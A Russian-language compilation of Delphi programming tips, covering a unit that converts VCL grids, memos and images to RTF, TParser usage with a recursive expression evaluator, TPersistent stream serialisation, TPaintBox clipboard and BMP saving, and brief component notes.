Модуль содержит ряд функций, ориентированных на работу с VCL-компонентами.
Содержимое списков и таблиц, конвертируется в формат RTF, для дальнейшей
распечатки или копирования в буфер обмена.
Зависимости: SysUtils, Windows, Messages, Classes, Graphics, Controls,
StdCtrls, ExtCtrls, Grids, Forms, DBGrids
Автор:       Delirium, Master_BRAIN@beep.ru, ICQ:118395746, Москва
Copyright:   Copyright (c) 1999 by K. Nishita / Master BRAIN (Delirium) - 2002 г.
Дата:        9 июля 2002 г.
***************************************************** }
{*************************************************************}
{ }
{ Переработал компонент в unit, добавил фукцию }
{ по работе с TDBGrid. }
{ }
{ Master BRAIN (Delirium) - 2002 г. }
{ }
{*************************************************************}
{ Delphi Control to RTF Conversion VCL }
{ Version: 1.0 }
{ Author: K. Nishita }
{ E-Mail: info@nishita.com }
{ Home Page: http://nishita.com }
{ Created: 3/1/2000 }
{ Type: Freeware }
{ Legal: Copyright (c) 1999 by K. Nishita }
{*************************************************************}
{ This component convert Delphi grid, edit, listbox, memo, }
{ and label to Rich Text Format. }
{*************************************************************}
unit CtrlToRTF;
interface
uses
  SysUtils, Windows, Messages, Classes, Graphics, Controls,
  StdCtrls, ExtCtrls, Grids, Forms, DBGrids;
function RTFHeader: string;
function RTFFooter: string;
function ImageToRTF(Image: TImage; Alignment: TAlignment): string;
function MemoToRTF(Memo: TMemo): string;
function StringsToRTF(pStringList: TStrings; Font: TFont; Alignment:
  TAlignment): string;
function StringToRTF(pString: string; Font: TFont; Alignment: TAlignment):
  string;
function GridToRTF(Grid: TStringGrid): string;
function DBGridToRTF(DBGrid: TDBGrid): string;
implementation
var
  RTF, FontTable: TStrings;
function GetRTFFontTableName(FontName: string): string;
var
  i: Integer;
begin
  Result := '\f0';
  for i := 0 to FontTable.Count - 1 do
  begin
    if Pos(FontName, FontTable.Strings[i]) > 0 then
    begin
      Result := '\f' + IntToStr(i);
      Exit;
    end;
  end;
end;
function GetRTFFontAttrib(Style: TFontStyles): string;
var
  retval: string;
begin
  retval := '';
  if fsBold in Style then
    retval := retval + '\b';
  if fsItalic in Style then
    retval := retval + '\c';
  if fsUnderline in Style then
    retval := retval + '\ul';
  if fsStrikeOut in Style then
    retval := retval + '\strike';
  Result := retval;
end;
function GetRTFFontSize(Size: Integer): string;
begin
  Result := '\fs' + IntToStr(size * 2);
end;
function GetRTFAlignment(Alignment: TAlignment): string;
var
  Align: string;
begin
  if Alignment = taCenter then
    Align := '\qc'
  else if Alignment = taRightJustify then
    Align := '\qr'
  else
    Align := '';
  Result := Align;
end;
function GetRTFFontColorTableName(Color: TColor): string;
begin
  if Color = clBlack then
    Result := '\cf0'
  else if Color = clMaroon then
    Result := '\cf1'
  else if Color = clGreen then
    Result := '\cf2'
  else if Color = clOlive then
    Result := '\cf3'
  else if Color = clNavy then
    Result := '\cf4'
  else if Color = clPurple then
    Result := '\cf5'
  else if Color = clTeal then
    Result := '\cf6'
  else if Color = clGray then
    Result := '\cf7'
  else if Color = clSilver then
    Result := '\cf8'
  else if Color = clRed then
    Result := '\cf9'
  else if Color = clLime then
    Result := '\cf10'
  else if Color = clYellow then
    Result := '\cf11'
  else if Color = clBlue then
    Result := '\cf12'
  else if Color = clFuchsia then
    Result := '\cf13'
  else if Color = clAqua then
    Result := '\cf14'
  else if Color = clWhite then
    Result := '\cf15';
end;
procedure Creator;
begin
  RTF := TStringList.Create;
  FontTable := TStringList.Create;
end;
procedure Destroyer;
begin
  RTF.Free;
  FontTable.Free;
end;
function RTFHeader: string;
var
  i: Integer;
begin
  Creator;
  RTF.Append('{\rtf1\ansi\ansicpg1252\deff0\deftab720');
  RTF.Append('{\fonttbl');
  for i := 0 to FontTable.count - 1 do
    RTF.Append(FontTable.Strings[i]);
  RTF.Append('}');
  RTF.Append('{\colortbl');
  RTF.Append('\red0\green0\blue0;'); {Black}
  RTF.Append('\red128\green0\blue0;'); {Maroon}
  RTF.Append('\red0\green128\blue0;'); {Green}
  RTF.Append('\red128\green128\blue0;'); {Olive}
  RTF.Append('\red0\green0\blue128;'); {Navy}
  RTF.Append('\red128\green0\blue128;'); {Purple}
  RTF.Append('\red0\green128\blue128;'); {Teal}
  RTF.Append('\red128\green128\blue128;'); {Gray}
  RTF.Append('\red192\green192\blue192;'); {Silver}
  RTF.Append('\red255\green0\blue0;'); {Red}
  RTF.Append('\red0\green255\blue0;'); {Lime}
  RTF.Append('\red255\green255\blue0;'); {Yellow}
  RTF.Append('\red0\green0\blue255;'); {Blue}
  RTF.Append('\red255\green0\blue255;'); {Fuchsia}
  RTF.Append('\red0\green255\blue255;'); {Aqua}
  RTF.Append('\red255\green255\blue255;'); {White}
  RTF.Append('}');
  Result := RTF.Text;
  Destroyer;
end;
function RTFFooter: string;
begin
  Result := #13#10+'}}';
end;
function GridToRTF(Grid: TStringGrid): string;
var
  i, j: Integer;
  Temp: double;
  FontColor, FontAttrib, FontSize, FontName: string;
begin
  Creator;
  FontColor := GetRTFFontColorTableName(Grid.Font.Color);
  FontSize := GetRTFFontSize(Grid.Font.Size);
  FontAttrib := GetRTFFontAttrib(Grid.Font.Style);
  FontName := GetRTFFontTableName(Grid.Font.Name);
  RTF.Append('\par \pard\plain\cgrid');
  RTF.Append('{\stylesheet{\nowidctlpar\widctlpar\adjustright \fs20\cgrid \snext0 Normal;}');
  RTF.Append('{\*\cs10 \additive Default Paragraph Font;}}');
  RTF.Append('{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang{\pntxta');
  RTF.Append('.}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang');
  RTF.Append('{\pntxta .}}{\*\pnseclvl3\pndec\pnstart1' +
    '\pnindent720\pnhang{\pntxta');
  RTF.Append('.}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang{\pntxta');
  RTF.Append(')}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
  RTF.Append(')}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang');
  RTF.Append('{\pntxtb (}{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720'
    +
    '\pnhang{\pntxtb (}{\pntxta');
  RTF.Append(')}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
  RTF.Append(')}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta )}}');
  for i := 0 to Grid.RowCount - 1 do
  begin
    RTF.Append('\trowd');
    RTF.Append('\trgaph108');
    RTF.Append('\trrh260');
    RTF.Append('\trleft90');
    RTF.Append('\trbrdrt\brdrs\brdrw10');
    RTF.Append('\trbrdrl\brdrs\brdrw10');
    RTF.Append('\trbrdrb\brdrs\brdrw10');
    RTF.Append('\trbrdrr\brdrs\brdrw10');
    RTF.Append('\trbrdrh\brdrs\brdrw10');
    RTF.Append('\trbrdrv\brdrs\brdrw10');
    for j := 0 to Grid.ColCount - 1 do
    begin
      RTF.Append('\clvertalt');
      RTF.Append('\clbrdrt\brdrs\brdrw10');
      RTF.Append('\clbrdrl\brdrs\brdrw10');
      RTF.Append('\clbrdrb\brdrs\brdrw10');
      RTF.Append('\clbrdrr\brdrs\brdrw10');
      if (j < Grid.FixedCols) or (i < Grid.FixedRows) then
        RTF.Append('\clcbpat8');
      RTF.Append('\cltxlrtb');
      Temp := (j + 1) * Grid.DefaultColWidth;
      Temp := (Temp / Screen.pixelsperinch) * 1440.0 + 108.0;
      RTF.Append('\cellx' + IntToStr(round(Temp)));
    end;
    RTF.Append('\pard\ri-123\nowidctlpar\widctlpar\intbl\adjustright');
    RTF.Append(' {' + FontName + FontSize + FontAttrib + FontColor + '\cgrid0');
    for j := 0 to Grid.ColCount - 1 do
      RTF.Append(Grid.Cells[j, i] + '\cell ');
    RTF.Append('}');
    RTF.Append('\pard \nowidctlpar\widctlpar\intbl\adjustright {\row}');
  end;
  RTF.Append('\pard\nowidctlpar\widctlpar\adjustright {');
  Result := RTF.Text;
  Destroyer;
end;
function DBGridToRTF(DBGrid: TDBGrid): string;
var
  j: Integer;
  Temp: double;
  FontColor, FontAttrib, FontSize, FontName: string;
begin
  Creator;
  FontColor := GetRTFFontColorTableName(DBGrid.Font.Color);
  FontSize := GetRTFFontSize(DBGrid.Font.Size);
  FontAttrib := GetRTFFontAttrib(DBGrid.Font.Style);
  FontName := GetRTFFontTableName(DBGrid.Font.Name);
  RTF.Append('\par \pard\plain\cgrid');
  RTF.Append('{\stylesheet{\nowidctlpar\widctlpar\adjustright \fs20\cgrid \snext0 Normal;}');
  RTF.Append('{\*\cs10 \additive Default Paragraph Font;}}');
  RTF.Append('{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang{\pntxta');
  RTF.Append('.}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang');
  RTF.Append('{\pntxta .}}{\*\pnseclvl3\pndec\pnstart1' +
    '\pnindent720\pnhang{\pntxta');
  RTF.Append('.}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang{\pntxta');
  RTF.Append(')}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
  RTF.Append(')}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang');
  RTF.Append('{\pntxtb (}{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
  RTF.Append(')}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
  RTF.Append(')}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta )}}');
  DBGrid.DataSource.DataSet.DisableControls;
  DBGrid.DataSource.DataSet.First;
  while not DBGrid.DataSource.DataSet.Eof do
  begin
    RTF.Append('\trowd');
    RTF.Append('\trgaph108');
    RTF.Append('\trrh260');
    RTF.Append('\trleft90');
    RTF.Append('\trbrdrt\brdrs\brdrw10');
    RTF.Append('\trbrdrl\brdrs\brdrw10');
    RTF.Append('\trbrdrb\brdrs\brdrw10');
    RTF.Append('\trbrdrr\brdrs\brdrw10');
    RTF.Append('\trbrdrh\brdrs\brdrw10');
    RTF.Append('\trbrdrv\brdrs\brdrw10');
    Temp := 0;
    for j := 0 to DBGrid.Columns.Count - 1 do
    begin
      RTF.Append('\clvertalt');
      RTF.Append('\clbrdrt\brdrs\brdrw10');
      RTF.Append('\clbrdrl\brdrs\brdrw10');
      RTF.Append('\clbrdrb\brdrs\brdrw10');
      RTF.Append('\clbrdrr\brdrs\brdrw10');
      RTF.Append('\cltxlrtb');
      Temp := Temp + DBGrid.Columns[j].Width + 1;
      RTF.Append('\cellx' + IntToStr(Round((Temp / Screen.pixelsperinch * 1440.0)
        + 108.0)));
    end;
    RTF.Append('\pard\ri-123\nowidctlpar\widctlpar\intbl\adjustright');
    RTF.Append(' {' + FontName + FontSize + FontAttrib + FontColor + '\cgrid0');
    for j := 0 to DBGrid.Columns.Count - 1 do
      RTF.Append(DBGrid.Columns[j].Field.DisplayText + '\cell ');
    RTF.Append('}');
    RTF.Append('\pard \nowidctlpar\widctlpar\intbl\adjustright {\row}');
    DBGrid.DataSource.DataSet.Next;
  end;
  DBGrid.DataSource.DataSet.First;
  DBGrid.DataSource.DataSet.EnableControls;
  RTF.Append('\pard\nowidctlpar\widctlpar\adjustright {');
  Result := RTF.Text;
  Destroyer;
end;
function ImageToRTF(Image: TImage; Alignment: TAlignment): string;
type
  PtrRec = record
    Lo: Word;
    Hi: Word;
  end;
  PHugeByteArray = ^THugeByteArray;
  THugeByteArray = array[0..0] of Byte;
  function GetBigPointer(lp: pointer; Offset: LongInt): Pointer;
  begin
    GetBigPointer := @PHugeByteArray(lp)^[Offset];
  end;
var
  hmf: THandle;
  FCanvas: TCanvas;
  lpBits: pointer;
  dwSize: LongInt;
  h, h1, w, w1: double;
  Align: string;
  pPPoint: PPoint;
  pPSize: PSize;
  ST: TStream;
  SL: TStrings;
begin
  Creator;
  FCanvas := TCanvas.Create;
  FCanvas.Handle := CreateMetafile(nil);
  SetMapMode(FCanvas.Handle, mm_AnIsoTropic);
  pPPoint := nil;
  SetWindowOrgEx(FCanvas.Handle, 0, 0, pPPoint);
  pPSize := nil;
  SetWindowExtEx(FCanvas.Handle, Image.Width, Image.Height, pPSize);
  FCanvas.StretchDraw(rect(0, 0, Image.Width, Image.Height),
    Image.Picture.Graphic);
  hmf := CloseMetafile(FCanvas.Handle);
  dwSize := 0;
  dwSize := GetMetaFileBitsEx(hmf, dwSize, nil);
  GetMem(lpBits, dwSize);
  GetMetaFileBitsEx(hmf, dwSize, lpBits);
  h := Image.Height;
  h1 := h;
  w := Image.Width;
  w1 := w;
  h := (h / Screen.pixelsperinch) * 1440.0;
  w := (w / Screen.pixelsperinch) * 1440.0;
  h1 := 26.46875 * h1;
  w1 := 26.46875 * w1;
  Align := GetRTFAlignment(Alignment);
  RTF.Append('\par \pard' + Align + '\plain\cgrid {\pict');
  RTF.Append('\picscalex100');
  RTF.Append('\picscaley100');
  RTF.Append('\piccropl0');
  RTF.Append('\piccropr0');
  RTF.Append('\piccropt0');
  RTF.Append('\piccropb0');
  RTF.Append('\picw' + inttostr(round(w1)));
  RTF.Append('\pich' + inttostr(round(h1)));
  RTF.Append('\picwgoal' + inttostr(round(w)));
  RTF.Append('\pichgoal' + inttostr(round(h)));
  RTF.Append('\wmetafile8 \bin' + IntToStr(dwSize));
  ST := TMemoryStream.Create;
  ST.Write(lpBits^, dwSize);
  SL := TStringList.Create;
  SL.LoadFromStream(ST);
  RTF.Append(SL.Text);
  SL.Free;
  ST.Free;
  FreeMem(lpBits);
  RTF.Append('}');
  DeleteMetaFile(hmf);
  FCanvas.Free;
  Result := RTF.Text;
  Destroyer;
end;
function MemoToRTF(Memo: TMemo): string;
var
  i: Integer;
  Align, FontColor, FontAttrib, FontSize, FontName: string;
begin
  Creator;
  Align := GetRTFAlignment(Memo.Alignment);
  FontColor := GetRTFFontColorTableName(Memo.Font.Color);
  FontSize := GetRTFFontSize(Memo.Font.Size);
  FontAttrib := GetRTFFontAttrib(Memo.Font.Style);
  FontName := GetRTFFontTableName(Memo.Font.Name);
  RTF.Append('\par \pard' + Align + '\plain' + FontName + FontSize + FontAttrib
    + FontColor);
  for i := 0 to Memo.Lines.Count - 1 do
  begin
    RTF.Append(' \par ' + Memo.Lines[i]);
  end;
  Result := RTF.Text;
  Destroyer;
end;
function StringsToRTF(pStringList: TStrings; Font: TFont; Alignment:
  TAlignment): string;
var
  i: Integer;
  Align, FontColor, FontAttrib, FontSize, FontName: string;
begin
  Creator;
  Align := GetRTFAlignment(Alignment);
  FontColor := GetRTFFontColorTableName(Font.Color);
  FontSize := GetRTFFontSize(Font.Size);
  FontAttrib := GetRTFFontAttrib(Font.Style);
  FontName := GetRTFFontTableName(Font.Name);
  RTF.Append('\par \pard' + Align + '\plain' + FontName + FontSize + FontAttrib
    + FontColor);
  for i := 0 to pStringList.Count - 1 do
    RTF.Append(' \par ' + pStringList.strings[i]);
  Result := RTF.Text;
  Destroyer;
end;
function StringToRTF(pString: string; Font: TFont; Alignment: TAlignment):
  string;
var
  Align, FontColor, FontAttrib, FontSize, FontName: string;
begin
  Creator;
  Align := GetRTFAlignment(Alignment);
  FontColor := GetRTFFontColorTableName(Font.Color);
  FontSize := GetRTFFontSize(Font.Size);
  FontAttrib := GetRTFFontAttrib(Font.Style);
  FontName := GetRTFFontTableName(Font.Name);
  RTF.Append('\par \pard' + Align + '\plain' + FontName + FontSize + FontAttrib
    + FontColor + ' ' + pString);
  Result := RTF.Text;
  Destroyer;
end;
end.
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
  RichEdit1.Text := RTFHeader + DBGridToRTF(DBGrid1) + RTFFooter;
end;

TPageProducer. Взаимодействие свойств HTMLDoc и HTMLFile.

Автор: Пащенко Андрей В документации Delphi 6 указано, что присвоение значения свойству HTMLDoc стирает значение HTMLFile и наоборот. Однако при установке свойства HTMLDoc через HTMLDoc.Text сохраняется и значение HTMLFile. Причем при своей работе TPageProducer воспринимает HTMLDoc как пустое значение и работает с HTMLFile.

Пример:

PageProducer1.HTMLFile := 'c:\index.htm';
PageProducer1.HTMLDoc.Text := 'ýòî êàêîé-òî HTML øàáëîí';
Edit1.Text := PageProducer1.HTMLFile;
Memo1.Lines.Assign(PageProducer1.HTMLDoc);
Edit1.Text содержит 'c:\index.htm'; Memo1.Lines содержит 'это какой-то HTML шаблон'; ТИПОВЫЕ РЕШЕНИЯ

Решением данной проблемы является непосредственное присвоение пустой строки свойству HTMLFile.

PageProducer1.HTMLFile := '';
КОММЕНТАРИЙ

Delphi 5 ведет себя абсолютно аналогично. Документированное поведение наблюдается только в design-time. Может быть, это и имелось ввиду в Help?

TPaintBox в буфер обмена.

Автор: Xavier Pacheco

var
  pbRect: TRect;
begin
  pbRect := Rect(0, 0, PaintBox1.Width, PaintBox1.Height);
  BitMap := TBitMap.Create;
  try
    Bitmap.Width := PaintBox1.Width;
    Bitmap.Height := PaintBox1.Height;
    BitMap.Canvas.CopyRect(pbRect, PaintBox1.Canvas, pbRect);
    ClipBoard.Assign(BitMap);
  finally
    BitMap.Free;
  end;
end;

Как сохранить содержимое TPaintBox в BMP.

Программист смотрит фильм "Чужой": - Ну запишись же, запишись.
var
  Bitmap: TBitmap;
  Source: TRect;
  Dest: TRect;
begin
  Bitmap := TBitmap.Create;
  try
    with Bitmap do
    begin
      Width := MyPaintBox.Width;
      Height := MyPaintBox.Height;
      Dest := Rect(0, 0, Width, Height);
    end;
    with MyPaintBox do
      Source := Rect(0, 0, Width, Height);
    Bitmap.Canvas.CopyRect(Dest, MyPaintBox.Canvas, Source);
    Bitmap.SaveToFile('MYFILE.BMP');
  finally
    Bitmap.Free;
  end;
end;

Недокументированный TParser.

Автор: Mike Scott ... тем не менее я хотел бы знать как это работает (при возможности точный синтаксис), так как я еще не получил свою копию Delphi и на руках у меня только часть электронной документации, где ни слова не сказано про Tparser. Я не думаю, что смогу вам здесь дать полное описание того, как работает TParser. Тем не менее, я дам вам несколько важных замечаний. При этом я допускаю, что у вас есть файл CLASSES.INT, описывающий интерфейс анализатора. В основном вы открываете поток и передаете это конструктору парсера. Затем вы можете изучать свойство Token, которое будет или символом, представляющим из себя один из четырех лексических признаков (плюс пятый EOF), или следующий символ в потоке, если следующим идет символ, не относящийся ни к одному из вышеописанных. Специальные символы имеют следующие значения:
  toEOF     = Char(0);
  toSymbol  = Char(1);
  toString  = Char(2);
  toInteger = Char(3);
  toFloat   = Char(4);
В зависимости от значения, для получения элемента вы вызываете соответствующий. Например, если Token = toString, то фактический элемент строки извлекается с помощью вызова TokenString. Если это toInteger, то вызывайте TokenInt и т.д.. Для получения следуюшего символа вызывайте NextToken, который возвратит его значение.

Я надеюсь, что при получении вашей копии Delphi вы найдете ответы на остальные ваши вопросы.

Пример TParser.

Автор: Mike Scott (Mobius Ltd) С интересом прочли ваш совет про TParser. Может вы смогли бы нам еще немного помочь советом? Нам необходимо вычислить математическое выражение с применением стандартных механизмов (приоритеты, порядок и т.д.). Это возможно с помощью TParser? Или придется все делать ручками? На самом деле TParser не является синтаксическим анализатором, скорее это лексический анализатор, или сканер. Или, другими словами, входной поток признаков (tokens) в ASCII-коде. Вы довольно легко можете использовать эти "признаки" для парсирования выражения, используя простую рекурсию. Сделав это, вы можете произвести разбор вашего математического выражения практически любой сложности. TParser вам поможет, но рекурсивный анализатор придется создавать ручками. ...простой пример, который мы хотим парсировать: (23.34 + 21.21) * 2.92 - 12.21 * sin (180) * -1 Вот пример синтаксического анализатора выражений, наследника TParser, который может разобрать вышеуказанное выражение. Он использует следующие определения для выражений:
      Expr   ::= Term + Expr | Term - Expr | Term
      Term   ::= Factor * Term | Factor / Term | Factor
      Factor ::= + Item | - Item | Item
      Item   ::= ( Expr ) | Fn( Expr ) | Number
      Fn     ::= Sin | Cos
      Number ::= floating point literal number (плавающая точка литерала числа)
Далее идет модуль и форма, показывающие как это можно использовать. Вы должны скопировать текст формы в окно редактора Delphi и сохранить как DFM-файл. Мои расчеты вашего выражения привели к результату 130.086 - это правильно? Примечание: TParser имеет ошибку в подпрограмме парсирования плавающего числа. Любое сочетание символов с символами '+' или '-' воспринимается как часть плавающего числа, поскольку 1e+3 корректное выражение. Естественно, это должно быть правильным только в совокупности с символом 'e'. Поэтому вы должны убедиться, что перед символами '+' и '-' имеется хотя бы один пробел, как показано в вашем выражении. Вы можете это исправить (если у вас есть исходный код VCL), редактируя функцию TParser.NextToken.

Скопируйте поочередно три приведенных ниже файла и вставьте их в окно редактора Delphi. Самый простой способ - закройте все открытые проекты и создайте новый модуль. Выделите весь текст, сгенерированный Delphi и вставьте текст модуля ExpParse. Сохраните его под именем ExpParse.pas. Затем создайте другой модуль, перенесите в него EvalForm.pas и также сохраните. Снова закройте файл и создайте новый модуль. Вставьте в него EvalForm.dfm и сохраните, выбрав меню "Save as" и отметив в списке тип файла DFM. Затем создайте новый проект, удалите форму, созданную по умолчанию и добавьте файл EvalForm.pas.

// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
unit ExpParse;
interface
uses Classes;
{ Набор парсируемых элементов определяется как подмножество
выражений Delphi Object Pascal, подобно этому:
Expr   ::= Term + Expr | Term - Expr | Term
Term   ::= Factor * Term | Factor / Term | Factor
Factor ::= + Item | - Item | Item
Item   ::= ( Expr ) | Fn( Expr ) | Number
Fn     ::= Sin | Cos | другое...
Number ::= floating point literal number (плавающая точка литерала числа)
}
type
  TExpressionParser = class(TParser)
  protected
    function SkipToken(Value: char): boolean;
    function EvalItem: double; virtual;
    function EvalFactor: double; virtual;
    function EvalTerm: double; virtual;
  public
    function EvalExpr: double;
  end;
implementation
uses SysUtils;
function TExpressionParser.SkipToken(Value: char): boolean;
begin
  { возвращаем истину, если текущий признак Value,
  и если так, то получаем следующий признак }
  Result := Token = Value;
  if Result then
    NextToken;
end;
function TExpressionParser.EvalItem: double;
var
  Expr: double;
  Fn: integer;
begin
  case Token of
    toInteger: Result := TokenInt;
    toFloat: Result := TokenFloat;
    '(':
      begin
        NextToken;
        Result := EvalExpr;
        CheckToken(')');
      end;
    toSymbol:
      begin
        if CompareText(TokenString, 'SIN') = 0 then
          Fn := 1
        else if CompareText(TokenString, 'COS') = 0 then
          Fn := 2
        else
          raise EParserError.CreateFmt('Неизвестный элемент "%s"', [TokenString]
            );
        NextToken;
        CheckToken('(');
        NextToken;
        Expr := EvalExpr;
        CheckToken(')');
        case Fn of
          1: Result := SIN(Expr);
          2: Result := COS(Expr);
        end;
      end;
  else
    raise EParserError.CreateFmt('Неожидаемый символ "%s"', [Token]);
  end;
  NextToken;
end;
function TExpressionParser.EvalFactor: double;
begin
  case Token of
    '+':
      begin
        NextToken;
        Result := EvalItem;
      end;
    '-':
      begin
        NextToken;
        Result := -EvalItem;
      end;
  else
    Result := EvalItem;
  end;
end;
function TExpressionParser.EvalTerm: double;
var
  AToken: char;
begin
  Result := EvalFactor;
  if SkipToken('*') then
    Result := Result * EvalTerm
  else if SkipToken('/') then
    Result := Result / EvalTerm;
end;
function TExpressionParser.EvalExpr: double;
begin
  Result := EvalTerm;
  if SkipToken('+') then
    Result := Result + EvalExpr
  else if SkipToken('-') then
    Result := Result - EvalExpr;
end;
end.
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
unit EvalForm;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, ExpParse;
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Label1: TLabel;
    Button1: TButton;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
  s: string;
  MemStream: TMemoryStream;
  ExpressionParser: TExpressionParser;
begin
  { get the string to evaluate }
  s := Edit1.Text;
  { создаем поток для работы с памятью, содержащий текст -
  TParser может разбирать выражения из потока}
  MemStream := TMemoryStream.Create;
  try
    MemStream.SetSize(Length(s));
    MemStream.WriteBuffer(s[1], Length(s));
    MemStream.Position := 0;
    { создаем анализатор выражения, используя поток }
    ExpressionParser := TExpressionParser.Create(MemStream);
    try
      Label2.Caption := Format('Результат=%g', [ExpressionParser.EvalExpr]
        );
    finally
      ExpressionParser.Free;
    end;
  finally
    MemStream.Free;
  end;
end;
end.
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
object Form1: TForm1
  Left = 216
    Top = 102
    Width = 433
    Height = 300
    Caption = 'Form1'
    Font.Color = clWindowText
    Font.Height = -13
    Font.Name = 'System'
    Font.Style = []
    PixelsPerInch = 96
    TextHeight = 16
    object Label1: TLabel
    Left = 8
      Top = 8
      Width = 74
      Height = 16
      Caption = 'Выражение'
  end
  object Label2: TLabel
    Left = 120
      Top = 72
      Width = 297
      Height = 16
      AutoSize = False
      Caption = 'Результат='
  end
  object Edit1: TEdit
    Left = 8
      Top = 27
      Width = 409
      Height = 24
      TabOrder = 0
      Text = '(23.34 + 21.21) * 2.92 - 12.21 * sin (180) * -1'
  end
  object Button1: TButton
    Left = 8
      Top = 64
      Width = 89
      Height = 33
      Caption = 'Оценка'
      default = True
      TabOrder = 1
      OnClick = Button1Click
  end
end

Запись и чтение объекта TPersistent в поток.

Автор: Mystic WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Запись/чтение объекта TPersistent в поток
Пара функций, выполняющих запись/чтение объекта,
порожденного от TPersistent, в поток.
ВНИМАНИЕ! Код этих процедур основан на VCL пятой версии Delphi.
Вполне возможно, что в последующих версиях Delphi он работать не будет!
Зависимости: Classes
Автор:       Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright:   (c) Mystic
Дата:        25 января 2003 г.
***************************************************** }
unit PersistentIO;
interface
uses Classes;
procedure WritePersistent(S: TStream; Instance: TPersistent);
procedure ReadPersistent(S: TStream; Instance: TPersistent);
implementation
type
  TMyWriter = class(TWriter)
  public
    procedure WritePersistent(Instance: TPersistent);
  end;
procedure TMyWriter.WritePersistent(Instance: TPersistent);
begin
  WriteProperties(Instance);
  WriteListEnd;
end;
type
  TMyReader = class(TReader)
  public
    procedure ReadPersistent(Instance: TPersistent);
  end;
procedure TMyReader.ReadPersistent(Instance: TPersistent);
begin
  while not EndOfList do
    ReadProperty(Instance);
  ReadListEnd;
end;
procedure WritePersistent(S: TStream; Instance: TPersistent);
var
  Writer: TMyWriter;
begin
  Writer := TMyWriter.Create(S, 4096);
  try
    Writer.WritePersistent(Instance);
  finally
    Writer.Free;
  end;
end;
procedure ReadPersistent(S: TStream; Instance: TPersistent);
var
  Reader: TMyReader;
begin
  Reader := TMyReader.Create(S, 4096);
  try
    Reader.ReadPersistent(Instance);
  finally
    Reader.Free;
  end;
end;
end.

Массив TPOINT.

Const
ptarr : Array[0..4] Of TPoint =
((x:0; y:4),
.
.
(x:4; y:4));

Редактор свойств для точки.

Автор: Mike Scott TPoint не имеет информацию о типе, следовательно, вы не можете зарегистрировать для него редактор свойства. Вы можете иметь редактор свойств только для строк, реальных, порядковых чисел или указателей на объекты. Дело в том, что редактор свойств имеет только следующие методы, чтобы иметь доступ к свойствам через RTTI:
 
  GetValue/SetValue            для строк (strings)
  GetFloatValue/SetFloatValue  для натуральных чисел (floats)
  GetOrdValue/SetOrdValue      для порядковых (и указателей)

Решением может быть создание класса TPersistentPoint, являющегося наследником TPersistent и имеющего те же свойства, что и TPoint. Вы можете просто "обернуть" TPoint для хранения значений, или создать явные поля. Непосредственное использование TPoint сделает использование метода Assign легким и быстрым для кодирования. Для процедур чтения и записи вы можете использовать поля записи, как показано ниже:

type
  TPersistentPoint = class( TPersistent )
    private
      FPoint: TPoint ;
    published
      property X : integer read FPoint.X write FPoint.X ;
      property Y : integer read FPoint.Y write FPoint.Y ;
  end ;

Компонент TPowerSock.

Звонит браток в компютерный магазин: - Але, козлы, че вы мне за комп продали!? Не работает! - А вы кнопку "power" на нём нажали? - Да я её два раза нажал, всё равно не работает!

Компонент TPOWERSOCK является базовым классом для многих компонентом инструментальной панели FastNet. Вы можете так же использовать его как базовый класс для создания компонентов, использующих другие стандартные протоколы либо ваши собственные протоколы.

Разработчики не советуют использовать этот компонент сам по себе, а рекомендуют использовать его только как базовый класс и строить на его основе новые компоненты.

Если вы собираетесь создавать новые компоненты на основе компонента TPOWERSOCK, вам следует изучить исходный код этого компонента и более детально ознакомиться с его работой. Если у вас нет исходных кодов для компонентов из панели FastNet, зайдите на WEB-сайт компании NetMasters по адресу http://www.netmasters.com, где вы узнаете как их можно получить.

Компонент TPreview.

Оформил: DeeCo

Автор: Рустам Кафаров.

Уважаемые жители Королевства, вашему вниманию предлагается компонент TPreview (версия 3.0). Разработан и проверен на Delphi 5. Компонент полностью бесплатный и с исходными кодами.

Всем жителям Королевства, которых интересует рассматриваемая тема, предлагается принять участие в тестировании компонента.

